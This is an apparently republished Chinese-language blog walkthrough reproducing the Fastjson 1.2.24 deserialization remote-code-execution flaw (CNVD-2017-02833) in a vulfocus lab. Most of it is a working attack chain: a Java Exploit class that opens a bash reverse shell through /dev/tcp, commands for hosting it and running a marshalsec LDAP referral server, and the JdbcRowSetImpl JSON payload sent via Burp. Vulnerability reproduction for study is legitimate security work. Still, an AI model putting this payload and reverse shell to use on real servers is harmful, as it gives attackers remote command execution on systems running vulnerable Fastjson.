0x01 影响版本
-> 影响版本:Fastjson1.2.24以及之前的版本
-> cnvd-2017-02833
0x02 环境
复现前,首先先检查你们的VPS是否放通端口防火墙
例如我下面用到了1111 9999 666,就要去控制台放通这三端口的策略
环境:vulfocus http://vulfocus.io/
0x03 漏洞利用
1、编辑Exploit.class
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
然后编译Exploit.java
成Exploit.class
javac Exploit.java
将这个Exploit.class丢上你的vps
PS:
1、exploit文件编译前是java格式,编译后是class格式
2、尽量在本机先编译好后,再丢到vps上,需要javac 1.8.x版本
3、如果windows直接环境变量中java -version有信息,javac -version没信息的话,就进入到java路径下再打开cmd进行编译
4、编译前,在java格式中就要先写好反弹的地址和端口
2.开启三个VPS终端
①第一个终端使用python搭建一个临时的web服务
python2
python -m SimpleHTTPServer 1111
python3
python -m http.server 1111
②第二个终端上开启LDAP服务
上传marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999
③第三个终端接受shell(这是得到shell的终端)
④Burp上
首页抓包,GET改成POST型,修改Content-Type:为application/json
exp:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:9999/Exploit",
"autoCommit":true
}
}
成功复现
免责声明
由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(NGC660安全实验室):FastjsonRCE-cnvd-2017-02833 漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论